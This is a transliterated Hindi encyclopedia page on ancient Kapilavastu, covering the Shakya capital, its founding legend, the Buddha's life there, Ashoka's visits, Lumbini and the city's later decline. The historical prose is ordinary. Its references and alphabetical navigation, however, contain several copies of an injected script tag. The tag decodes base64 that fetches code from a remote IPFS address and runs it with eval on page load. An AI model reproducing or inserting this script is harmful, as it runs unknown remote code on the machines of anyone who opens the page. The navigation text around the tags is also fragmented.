कपिलवस्तु

kapilavastu prachin samay mean shaky vansh ki rajadhani ke roop mean prasiddh tha. ye nagar, siddharth nagar se 20 kilomitar aur gorakhapur se 97 kilomitar door sthit hai. kapilavastu mahatma buddh ke pita shuddhodhan ke rajy ki rajadhani thi. yahaan bhagavan buddh ne apana bachapan vyatit kiya tha. yah shravasti ka samakalin nagar tha. paranpara ke anusar vahaan kapil muni ne tapasya ki, isiliye yah kapilavastu (arthath maharshi kapil ka sthan) nam se prasiddh ho gaya. nagar ke charoan or ek parakota tha, jisaki ooanchaee atharah hath thi. gautam buddh ke kal mean bharatavarsh ke samriddhishali nagaroan mean isaki ganana hoti thi. yah us samay tijarati rastoan par p data tha. vahaan se ek sidha rasta vaishali, patana aur rajagrih hote huye poorab ki or nikal jata tha, doosara rasta vahaan se pashchim mean shravasti ki or jata tha.

aitihasik tathy

zila basti, uttar pradesh ke uttari bhag mean piparavaan namak sthan se 9 mil uttar-pashchim tatha ruminideee ya prachin luanbini se 15 mil pashchim ki or memirakot ke pas prachin kapilavastu ki sthiti bataee jati hai. isi kshetr mean sthit tilaura ya tirorakot ko bhi kuchh log kapilavastu manate haian, kiantu in sthanoan par abhi tak utkhanan n hone ke karan is vishay mean nishchit roop se kuchh kahana kathin hai. kiantu luanbani ka abhijnan zila basti mean nepal-bharat sima par sthit kakaraha gram se 13 mil uttar mean vartaman ruminideee ke sath nishchit hone ke karan kapilavastu ki sthiti bhi isi ke asapas kuchh mil ke bhitar rahi hogi, yah bhi nishchit samajhana chahie.^[1]

gautam buddh ke pita shakyavanshi shuddhodhan ki rajadhani kapilavastu mean thi. sauandaranand-kavy mean mahakavi ashvaghosh ne kapilavastu ke basaee jane ka vistrit varnan kiya hai, jisake anusar yah nagar kapil muni ke ashram ke sthan par basaya gaya tha. yah ashram himachal ke aanchal mean sthit tha-

tasy vistirnatapasah parshve himavatah shubhe, kshetran chayatanan chaiv tapasamashramoabhavath^[2]

tapasviyoan ke nivas sthan aur tapasya ke kshetr us ashram mean kuchh ikshvaku rajakumar basane ki ichchha se ge-

tejasviansadanan tapan kshetran tamashramamh, kechidikshvakuvo jammuah rajaputra vivatsavah^[3]

unhoanne jis sthan par nivas kiya, vah shaky ya sagaun vrikshoan se dhaka tha, isalie ve ikshvaku rajakumar shaky kahalae. ek din unaki samriddhi karane ki ichchha se jal ka gh da lekar muni akash mean u d ge aur rajaputroan se kaha- "akshay jal ke is kalash se jo jaladhara prithvi par gire, usaka atikraman na karake kam se mera anusaran karo." kapil muni ne us ashram ki bhoomi ke charoan or jal ki dhara giraee aur chaup d ki takhti ki tarah naksha banaya aur use simachihnoan se sushobhit kiya. tab vastu-visharadoan ne us sthan par kapil ke adesh anusar ek nagar banaya. usaki parikha nadi ke saman chau di thi aur rajapath bhavy aur sidha tha. prachin paha doan ki tarah vishal thi- jaise vah doosara girivraj hi ho. shvet attalikaoan se usaka mukh suandar lagata tha. usake bhitar bajar achchhi tarah se vibhajit the. vah nagar prasad mala se gira hua aisa jan p data tha, mano himalay ki kukshi ho. dhani, shaant, vidvan aur anuddhat logoan se bhara hua vah nagar kinnaroan se mandarachal ki bhaanti shobhayaman tha. vahaan puravasiyoan ko prasann karane ki ichchha se rajakumaroan ne prasannachitt hokar udyan namak yash ke suandar sthan banavaye. sab dishaoan mean suandar jhilean nirmit kian, jo svachchh jal se poorn thian. margoan aur upavanoan mean charoan or manoram, suandar, thaharane ke sthan banavae ge, jinake sath koop bhi the.^[4] kyoanki kapil muni ke ashram ke sthan par vah nagar basaya gaya tha, atah kapilavastu kahalaya-

kapilasy ch tasyashrestasminnashramavastuni, yasmattatpuran chakustasmath kapilavastu tath.^[5]^[1]

siddharth ne kapilavastu mean hi apana bachapan bitaya tha aur sachche jnan aur sukh ki prapti ki lalasa se apane parivar aur rajadhani ko chho dakar chale gaye the. buddhatv ko prapt karane par ve aantim bar kapilavastu ae the aur tab unhoanne apane pita shuddhodhan aur patni yashodhara ko apane dharm mean dikshit kiya tha.

kapilavastu ashok (mrityu 232 ee.poo.) ke samay mean tirth ke saman samajha jata tha. apane guru upagupt ke sath samrat ne kapilavastu ki yatra ki aur yahaan stoop adi smarak banavae. kiantu shighr hi is nagar ki avanati ka yug praranbh ho gaya aur isaka prachin gaurav ghatata chala gaya. is avanati ka karan anishchit hai. sanbhavatah kalapravah mean nepal ki taraee kshetr mean hone ke karan kapilavastu ke sthan ko ghane vanoan ne achchhadit kar liya tha aur is karan yahaan pahuanchana dushkar ho gaya hoga. chini yatri fahyan (405-411 ee.) ke samay tak kapilavastu nagari uja d ho chuki thi. keval tho de-se bauddh bhikshu yahaan nivas karate the, jo apani jivika kabhi-kabhi a jane vale yatriyoan ke dan mean die ge dhan se chalate the. yah bhi ullekhaniy hai ki fahyan ke samay tak bauddh dharm se ghanishth roop se sanbandhit any pramukh sthan jaise bodhagaya aur kushinagar bhi uja d ho chale the. vastav mean bauddh dharm ka avanati kal is samay praranbh ho gaya tha. harsh ke shasanakal mean prasiddh chini paryatak yuvanachvaang ne kapilavastu ki yatra ki thi (630 ee. ke lagabhag). usake varnan ke anusar kapilavastu mean pahale ek sahasr sangharam the, kiantu ab keval ek hi bacha tha, jisamean 30 bhikshu rah rahe the. smith ke anusar yuvanachvaang dvara ullikhit kapilavastu piparava se 10 mil uttar-pashchim ki or nepal ki taraee mean sthit tilaurakit namak sthan raha hoga^[6]

bauddh grathoan mean

nagar ke bhitar ek sabha-bhavan bana hua tha, jahaan par shaky log ekatr hokar mahattvapoorn vishayoan par soch-vichar kiya karate the. bad mean ek sabha-grih aur banava diya gaya, jisaka udghatan svayan gautam buddh ne kiya tha. ve is avasar par apane shishyoan sahit vahaan aye the. unake samman mean nagar achchhi tarah saza diya gaya aur charoan or ek yojan ki doori tak roshani ki gee. unaki suvidha ke liye is samay shanti ki poori vyavastha kar di gee thi. kuchh bauddh granthoan mean isaki shobha ka varnan atishayokti ke sath kiya gaya hai. 'buddhacharit' namak bauddh granth mean isi pur ko sabhi nagaroan mean shreshth (puradhiraj) kaha gaya hai. isaki samata mean tatkalin koee bhi nagar nahian a sakata tha aur isake that-bat ko dekh kar lagata tha, manoan svayan rajalakshmi hi vahaan par nivas kar rahi hoan. daridrata ke liye vahaan koee avakash nahian tha. nagarikoan ke ghar vahaan usi tarah sushobhit the, jis tarah sarovar mean kamaloan ki panktiyaan. lalitavistar namak granth mean isake sundar upavan evan vihar adi ka varnan milata hai. nagarik samriddh, achchhe vicharoan vale tatha dharmik the. yahaan logoan ko yuddh-shiksha di jati thi. nagar mean sundar bazar lagate the. raja shuddhodhan sadashay aur puravasiyoan ke hit mean sanlagn the. 'saundaranand' namak kavy mean ise gautam ki janmabhoomi kaha gaya hai. is granth ke anusar vahaan ke nagarikoan ko anuchit kar nahian dene p date the aur ve sukhi evan sanpann the.

buddh dvara diksha

gautam buddh ke vishram ki suvidha ke liye shakyoan ne nagar ke bahar shant vatavaran mean nigrodharam namak vihar banava diya tha. pahali bar ve isamean apane bis hazar shishyoan ke sath padhare the. kapilavastu ke nagarikoan ne unake vyaktitv aur upadeshoan mean itana akarshan paya ki doosare hi din unamean se adhikaansh unake shishy ban gayean unake bhaee nand aur putr rahul tatha isi tarah rajakul ke kuchh aur bhi sadasyoan ne unase diksha le li thi. unake prabhav mean akar shaky bahusankhya mean bauddh sangh ke sadasy ban gaye. is karan vahaan kuchh logoan ne unake oopar parivaroan ko to dane ka arop lagaya. shuddhodhan ne bhi yah sab dekhakar rajaniyam bana diya ki bina maan-bap ki anumati se rajy ka koee bhi vyakti bauddh dharm mean diksha n grahan kare. shakyoan aur unake vipakshiyoan ke bich ke jhag doan mean buddh ne kee samayoan par madhyasthata ki thi. ek bar kosal ke raja vidudabh ne shakyoan se apane apaman ka badala lene ke liye kapilavastu par akraman kar diya. is samay buddh use samajhane ke liye is nagar mean aye huye the. shakyoan ke p dosi koliy log ramagram mean shasan karate the. donoan ke bich rohini nadi ke jal ke prashn ko lekar vivad kh da hua. is jhag de ke karan bhishan sanhar ka khatara a kh da hua. gautam buddh ki madhyasthata ke phalasvaroop donoan hi dal ek sanbhavit bhayankar kshati se bach gaye. unake mahaparinirvan ke anantar shakyoan ne unake sharir ke avashesh ki prapti ke liye apani maang pesh ki thi. unhean unaki asthiyoan ka ek bhag prapt hua, jisake oopar unhoanne stoop ka nirman kiya.

lumbini gram

is nagar ke pas hi lumbini gram sthit tha, jahaan par gautam buddh ka janm hua tha. isaki pahachan nepal ki taraee mean sthit roominadeee namak gram se ki jati hai. bauddh dharm ka yah ek pramukh kendr mana jane laga. ashok apane rajy-kal ke bisavean varsh dharmayatra karata hua lumbini pahuancha tha. usane is sthan ke charoan or patthar ki dival kh di kar di. vahaan usane ek stanbh ka nirman bhi kiya, jis par usaka ek lekh khuda hua hai. yah stanbh ab bhi apani jagah par vidyaman hai. vidvanoan ka aisa anuman hai ki ashok ki yah lat thik usi jagah kh di hai, jahaan buddh ka janm hua tha. ashok ne vahaan ke nivasiyoan ko kar mean bhari chhoot de di thi. jo tirthayatri vahaan ate the, unhean ab yahaan yatra-kar nahian dena p data tha. vah kapilavastu bhi aya hua thaan gauantam buddh ke jis stoop ka nirman shakyoan ne kiya tha, use usane akar mean duguna kara diya tha.

mahattv

jaise-jaise shaky ganarajy ka adh:patan hota gaya, vaise-vaise kapilavastu ka rajanitik mahattv bhi ghatane laga. bad mean chal kar isaki pratishtha ab keval bauddh tirth ke roop mean hi rah gee thi. paanchavian sadi mean jab chini yatri phahiyan yahaan aya, us samay isaki janasankhya kafi ghat gee thi. satavian shatabdi mean husenasaang bhi vahaan aya tha. vah likhata hai ki is nagar mean kee stoop the, jo buddh ke parinirvan ke bad rajaoan aur bhaktoan dvara banavaye gaye the. vahaan kee purane math bhi the, jo ab barbad ho chuke the. yah nagar is samay kafi uj d gaya tha. isake khandaharoan ke bich jangali janavar rahate the, jinake karan yatriyoan ko khatara bana rahata tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharat diskavari pustakalay |prishth sankhya: 133 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ sauandaranand 1,5
↑ saudaranand 1,18
↑ sauandaranand, 1,24-28-29-32-33-41-42-43-48-49-50-51
↑ saudaranand 1,57
↑ arli histri aauv iandiya, chaturth sanskaran, pri. 167

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[a-1] 1.0 ^1.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharat diskavari pustakalay |prishth sankhya: 133 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] sauandaranand 1,5

[3] saudaranand 1,18

[4] sauandaranand, 1,24-28-29-32-33-41-42-43-48-49-50-51

[5] saudaranand 1,57

[6] rli histri aauv iandiya, chaturth sanskaran, pri. 167

[1]

[2]

[3]

[4]

[5]

[6]